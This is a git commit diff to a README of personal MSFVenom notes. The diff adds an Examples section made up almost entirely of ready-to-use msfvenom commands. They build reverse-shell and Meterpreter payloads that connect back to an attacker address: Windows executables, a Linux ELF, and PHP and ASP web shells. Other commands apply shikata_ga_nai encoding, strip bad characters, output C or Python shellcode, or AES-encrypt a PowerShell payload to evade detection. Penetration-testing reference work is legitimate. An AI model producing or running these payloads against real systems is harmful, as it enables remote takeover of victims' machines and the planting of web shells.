Update README.md
This commit is contained in:
@@ -1,6 +1,7 @@
|
||||
# MSFVenom Notes
|
||||
## Table of Contents
|
||||
1. [Usage](#usage)
|
||||
1. [Examples](#examples)
|
||||
2. [Usage](#usage)
|
||||
1. [Short Help](#short-help)
|
||||
2. [Man Page](#man-page)
|
||||
3. [Payloads](#payloads)
|
||||
@@ -9,8 +10,43 @@
|
||||
6. [Formats](#formats)
|
||||
7. [Encryptions](#encryption)
|
||||
8. [Encoders](#encoders)
|
||||
2. [Links / Docs / Guides](#links)
|
||||
3. [Copying / License](#copying)
|
||||
3. [Links / Docs / Guides](#links)
|
||||
4. [Copying / License](#copying)
|
||||
## Examples
|
||||
Simple 64-bit Windows Reverse TCP
|
||||
`msfvenom -p windows/x64/shell_reverse_tcp LHOST=192.168.1.10 LPORT=4444 -f exe -o shell.exe`
|
||||
|
||||
Simple Linux (ELF) Reverse TCP Meterpreter payload
|
||||
`msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.1.10 LPORT=4444 -f elf -o shell.elf`
|
||||
|
||||
Web Payload (PHP) Reverse TCP Meterpreter
|
||||
`msfvenom -p php/meterpreter_reverse_tcp LHOST=192.168.1.10 LPORT=4444 -f raw > shell.php`
|
||||
|
||||
Web Payload (ASP) Reverse TCP Meterpreter
|
||||
`msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.10 LPORT=4444 -f asp > shell.asp`
|
||||
|
||||
Encode (shika_ga_nai) Windows 64-bit Meterpreter reverse TCP
|
||||
`msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.1.10 LPORT=4444 -e x64/shikata_ga_nai -i 5 -f exe -o encoded_shell.exe`
|
||||
|
||||
Filter Bad Chars (nullbyte (\x00), newline (\x0a), carriage return (\x0d)) Windows reverse TCP Meterpreter
|
||||
`msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.10 LPORT=4444 -b '\x00\x0a\x0d' -f exe -o clean_shell.exe`
|
||||
|
||||
Output C Style Shellcode
|
||||
`msfvenom -p windows/shell_reverse_tcp LHOST=192.168.1.10 LPORT=4444 -f c`
|
||||
|
||||
Output Python Style Shellcode
|
||||
`msfvenom -p windows/shell_reverse_tcp LHOST=192.168.1.10 LPORT=4444 -f py -v payload`
|
||||
|
||||
Encrypt (Auto Key and IV)
|
||||
note: 32 random bhytes is 256 bits and 16 bytes is the proper size of IV
|
||||
```bash
|
||||
msfvenom -p cmd/windows/powershell/meterpreter/reverse_tcp \
|
||||
LHOST=192.168.1.50 LPORT=4444 \
|
||||
--encrypt aes256 \
|
||||
--encrypt-key "`openssl rand -hex 16`" \
|
||||
--encrypt-iv "`openssl rand -hex 8`" \
|
||||
-f powershell -o file.ps1
|
||||
```
|
||||
## Usage
|
||||
### Short Help
|
||||
```
|
||||
|
||||
Reference in New Issue
Block a user